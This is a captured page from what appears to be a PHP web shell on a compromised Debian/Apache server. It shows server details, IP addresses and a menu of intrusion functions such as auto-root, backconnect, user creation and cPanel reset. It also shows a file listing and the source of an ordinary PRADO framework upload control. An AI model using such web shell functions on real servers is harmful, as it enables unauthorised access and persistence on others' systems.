Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.145.51.35
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
framework /
Web /
UI /
WebControls /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
TAccordion.php
20.81
KB
-rw-r--r--
TBaseDataList.php
5.11
KB
-rw-r--r--
TBaseValidator.php
22.48
KB
-rw-r--r--
TBoundColumn.php
7.67
KB
-rw-r--r--
TBulletedList.php
13.77
KB
-rw-r--r--
TButton.php
10.75
KB
-rw-r--r--
TButtonColumn.php
8.35
KB
-rw-r--r--
TCaptcha.php
15.89
KB
-rw-r--r--
TCaptchaValidator.php
3.99
KB
-rw-r--r--
TCheckBox.php
14.67
KB
-rw-r--r--
TCheckBoxColumn.php
3.74
KB
-rw-r--r--
TCheckBoxList.php
13.88
KB
-rw-r--r--
TClientScript.php
4.36
KB
-rw-r--r--
TColorPicker.php
7.89
KB
-rw-r--r--
TCompareValidator.php
8.06
KB
-rw-r--r--
TConditional.php
4.15
KB
-rw-r--r--
TContent.php
1.56
KB
-rw-r--r--
TContentPlaceHolder.php
1.7
KB
-rw-r--r--
TCustomValidator.php
5.55
KB
-rw-r--r--
TDataBoundControl.php
16.99
KB
-rw-r--r--
TDataGrid.php
60.98
KB
-rw-r--r--
TDataGridColumn.php
17.16
KB
-rw-r--r--
TDataGridItemRenderer.php
715
B
-rw-r--r--
TDataGridPagerStyle.php
6
KB
-rw-r--r--
TDataList.php
51.13
KB
-rw-r--r--
TDataListItemRenderer.php
4.58
KB
-rw-r--r--
TDataRenderer.php
1.11
KB
-rw-r--r--
TDataSourceControl.php
2.39
KB
-rw-r--r--
TDataSourceView.php
3.97
KB
-rw-r--r--
TDataTypeValidator.php
3.92
KB
-rw-r--r--
TDatePicker.php
28.5
KB
-rw-r--r--
TDropDownList.php
4.53
KB
-rw-r--r--
TDropDownListColumn.php
9.92
KB
-rw-r--r--
TEditCommandColumn.php
7.95
KB
-rw-r--r--
TEmailAddressValidator.php
2.79
KB
-rw-r--r--
TExpression.php
1.42
KB
-rw-r--r--
TFileUpload.php
8.11
KB
-rw-r--r--
TFlushOutput.php
2.17
KB
-rw-r--r--
TFont.php
7.76
KB
-rw-r--r--
THead.php
9.05
KB
-rw-r--r--
THeader1.php
738
B
-rw-r--r--
THeader2.php
738
B
-rw-r--r--
THeader3.php
738
B
-rw-r--r--
THeader4.php
737
B
-rw-r--r--
THeader5.php
737
B
-rw-r--r--
THeader6.php
737
B
-rw-r--r--
THiddenField.php
5.62
KB
-rw-r--r--
THtmlArea.php
13.83
KB
-rw-r--r--
THtmlArea4.php
12.29
KB
-rw-r--r--
THtmlElement.php
1.67
KB
-rw-r--r--
THyperLink.php
6.53
KB
-rw-r--r--
THyperLinkColumn.php
7.6
KB
-rw-r--r--
TImage.php
3.9
KB
-rw-r--r--
TImageButton.php
12.71
KB
-rw-r--r--
TImageMap.php
21.65
KB
-rw-r--r--
TInlineFrame.php
7.54
KB
-rw-r--r--
TItemDataRenderer.php
2.28
KB
-rw-r--r--
TJavascriptLogger.php
2.76
KB
-rw-r--r--
TKeyboard.php
5.76
KB
-rw-r--r--
TLabel.php
3.73
KB
-rw-r--r--
TLinkButton.php
10.11
KB
-rw-r--r--
TListBox.php
6.92
KB
-rw-r--r--
TListControl.php
25.02
KB
-rw-r--r--
TListControlValidator.php
5.8
KB
-rw-r--r--
TListItem.php
3.9
KB
-rw-r--r--
TLiteral.php
2.7
KB
-rw-r--r--
TLiteralColumn.php
4.01
KB
-rw-r--r--
TMarkdown.php
2.19
KB
-rw-r--r--
TMultiView.php
10.47
KB
-rw-r--r--
TOutputCache.php
18.47
KB
-rw-r--r--
TPager.php
23.23
KB
-rw-r--r--
TPanel.php
6.27
KB
-rw-r--r--
TPanelStyle.php
7.46
KB
-rw-r--r--
TPlaceHolder.php
663
B
-rw-r--r--
TRadioButton.php
9.58
KB
-rw-r--r--
TRadioButtonList.php
2.46
KB
-rw-r--r--
TRangeValidator.php
10.04
KB
-rw-r--r--
TRatingList.php
8.54
KB
-rw-r--r--
TReCaptcha.php
8.2
KB
-rw-r--r--
TReCaptchaValidator.php
4.4
KB
-rw-r--r--
TRegularExpressionValidator.ph...
4.26
KB
-rw-r--r--
TRepeatInfo.php
14.91
KB
-rw-r--r--
TRepeater.php
29.17
KB
-rw-r--r--
TRepeaterItemRenderer.php
1.36
KB
-rw-r--r--
TRequiredFieldValidator.php
4.63
KB
-rw-r--r--
TSafeHtml.php
2.67
KB
-rw-r--r--
TSlider.php
16.62
KB
-rw-r--r--
TStatements.php
1.45
KB
-rw-r--r--
TStyle.php
21.9
KB
-rw-r--r--
TStyleSheet.php
2.54
KB
-rw-r--r--
TTabPanel.php
20.07
KB
-rw-r--r--
TTable.php
10.15
KB
-rw-r--r--
TTableCell.php
5.58
KB
-rw-r--r--
TTableFooterRow.php
977
B
-rw-r--r--
TTableHeaderCell.php
2.83
KB
-rw-r--r--
TTableHeaderRow.php
977
B
-rw-r--r--
TTableRow.php
5.06
KB
-rw-r--r--
TTemplateColumn.php
7.49
KB
-rw-r--r--
TTextBox.php
18.88
KB
-rw-r--r--
TTextHighlighter.php
5.75
KB
-rw-r--r--
TTextProcessor.php
2.19
KB
-rw-r--r--
TValidationSummary.php
15.16
KB
-rw-r--r--
TWebControl.php
12.36
KB
-rw-r--r--
TWebControlAdapter.php
1.88
KB
-rw-r--r--
TWebControlDecorator.php
10.62
KB
-rw-r--r--
TWizard.php
58.25
KB
-rw-r--r--
TWizardNavigationButtonStyle.p...
3.85
KB
-rw-r--r--
TXmlTransform.php
5.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TFileUpload.php
<?php /** * TFileUpload class file * * @author Marcus Nyeholt <tanus@users.sourceforge.net>, Qiang Xue <qiang.xue@gmail.com> * @link http://www.pradosoft.com/ * @copyright Copyright © 2005-2014 PradoSoft * @license http://www.pradosoft.com/license/ * @package System.Web.UI.WebControls */ /** * TFileUpload class * * TFileUpload displays a file upload field on a page. Upon postback, * the text entered into the field will be treated as the name of the file * that will be uploaded to the server. The property {@link getHasFile HasFile} * indicates whether the file upload is successful. If successful, the file * may be obtained by calling {@link saveAs} to save it at a specified place. * You can use {@link getFileName FileName}, {@link getFileType FileType}, * {@link getFileSize FileSize} to get the original client-side file name, * the file mime type, and the file size information. If the upload is not * successful, {@link getErrorCode ErrorCode} contains the error code * describing the cause of failure. * * TFileUpload raises {@link onFileUpload OnFileUpload} event if a file is uploaded * (whether it succeeds or not). * * @author Marcus Nyeholt <tanus@users.sourceforge.net>, Qiang Xue <qiang.xue@gmail.com> * @package System.Web.UI.WebControls * @since 3.0 */ class TFileUpload extends TWebControl implements IPostBackDataHandler, IValidatable { /** * Maximum file size (in bytes) allowed to be uploaded, defaults to 1MB. */ const MAX_FILE_SIZE=1048576; /** * @var integer the size of the uploaded file (in bytes) */ private $_fileSize=0; /** * @var string The original name of the file on the client machine */ private $_fileName=''; /** * @var string the name of the temporary file storing the uploaded file */ private $_localName=''; /** * @var string the uploaded file mime type */ private $_fileType=''; /** * @var integer error code of the current file upload */ protected $_errorCode=UPLOAD_ERR_NO_FILE; private $_dataChanged=false; private $_isValid=true; /** * @return string tag name of the file upload control */ protected function getTagName() { return 'input'; } /** * Sets name attribute to the unique ID of the control. * This method overrides the parent implementation with additional file update control specific attributes. * @param THtmlWriter the writer used for the rendering purpose */ protected function addAttributesToRender($writer) { $this->getPage()->ensureRenderInForm($this); parent::addAttributesToRender($writer); $writer->addAttribute('type','file'); $writer->addAttribute('name',$this->getUniqueID()); $isEnabled=$this->getEnabled(true); if(!$isEnabled && $this->getEnabled()) // in this case parent will not render 'disabled' $writer->addAttribute('disabled','disabled'); } /** * Sets Enctype of the form on the page. * This method overrides the parent implementation and is invoked before render. * @param mixed event parameter */ public function onPreRender($param) { parent::onPreRender($param); if(($form=$this->getPage()->getForm())!==null) $form->setEnctype('multipart/form-data'); $this->getPage()->getClientScript()->registerHiddenField('MAX_FILE_SIZE',$this->getMaxFileSize()); if($this->getEnabled(true)) $this->getPage()->registerRequiresPostData($this); } /** * @return integer the maximum file size, defaults to 1MB (1048576 bytes). * @see setMaxFileSize */ public function getMaxFileSize() { return $this->getViewState('MaxFileSize',self::MAX_FILE_SIZE); } /** * Sets the maximum size that a file can be uploaded. * Note, this is an advisory value to the browser. Sets this property with * a reasonably large size to save users the trouble of waiting * for a big file being transferred only to find that it was too big * and the transfer failed. * @param int the maximum upload size allowed for a file. */ public function setMaxFileSize($size) { $this->setViewState('MaxFileSize',TPropertyValue::ensureInteger($size),self::MAX_FILE_SIZE); } /** * @return string the original full path name of the file on the client machine */ public function getFileName() { return $this->_fileName; } /** * @return integer the actual size of the uploaded file in bytes */ public function getFileSize() { return $this->_fileSize; } /** * @return string the MIME-type of the uploaded file (such as "image/gif"). * This mime type is not checked on the server side and do not take its value for granted. */ public function getFileType() { return $this->_fileType; } /** * @return string the local name of the file (where it is after being uploaded). * Note, PHP will delete this file automatically after finishing this round of request. */ public function getLocalName() { return $this->_localName; } /** * Returns an error code describing the status of this file uploading. * @return integer the error code * @see http://www.php.net/manual/en/features.file-upload.errors.php */ public function getErrorCode() { return $this->_errorCode; } /** * @return boolean whether the file is uploaded successfully */ public function getHasFile() { return $this->_errorCode===UPLOAD_ERR_OK; } /** * Saves the uploaded file. * @param string the file name used to save the uploaded file * @param boolean whether to delete the temporary file after saving. * If true, you will not be able to save the uploaded file again. * @return boolean true if the file saving is successful */ public function saveAs($fileName,$deleteTempFile=true) { if($this->_errorCode===UPLOAD_ERR_OK) { if($deleteTempFile) return move_uploaded_file($this->_localName,$fileName); else if(is_uploaded_file($this->_localName)) return file_put_contents($fileName,file_get_contents($this->_localName))!==false; else return false; } else return false; } /** * Loads user input data. * This method is primarly used by framework developers. * @param string the key that can be used to retrieve data from the input data collection * @param array the input data collection * @return boolean whether the data of the control has been changed */ public function loadPostData($key,$values) { if(isset($_FILES[$key])) { $this->_fileName=$_FILES[$key]['name']; $this->_fileSize=$_FILES[$key]['size']; $this->_fileType=$_FILES[$key]['type']; $this->_errorCode=$_FILES[$key]['error']; $this->_localName=$_FILES[$key]['tmp_name']; return $this->_dataChanged=true; } else return false; } /** * Raises postdata changed event. * This method calls {@link onFileUpload} method. * This method is primarly used by framework developers. */ public function raisePostDataChangedEvent() { $this->onFileUpload(null); } /** * This method is invoked when a file is uploaded during a postback. * The method raises <b>OnFileUpload</b> event to fire up the event handler. * If you override this method, be sure to call the parent implementation * so that the event delegates can be invoked. * @param TEventParameter event parameter to be passed to the event handlers */ public function onFileUpload($param) { $this->raiseEvent('OnFileUpload',$this,$param); } /** * Returns a value indicating whether postback has caused the control data change. * This method is required by the IPostBackDataHandler interface. * @return boolean whether postback has caused the control data change. False if the page is not in postback mode. */ public function getDataChanged() { return $this->_dataChanged; } /** * Returns the original file name as the property value to be validated. * This method is required by IValidatable property. * @return mixed the property value to be validated */ public function getValidationPropertyValue() { return $this->getFileName(); } /** * Returns true if this control validated successfully. * Defaults to true. * @return bool wether this control validated successfully. */ public function getIsValid() { return $this->_isValid; } /** * @param bool wether this control is valid. */ public function setIsValid($value) { $this->_isValid=TPropertyValue::ensureBoolean($value); } }
Close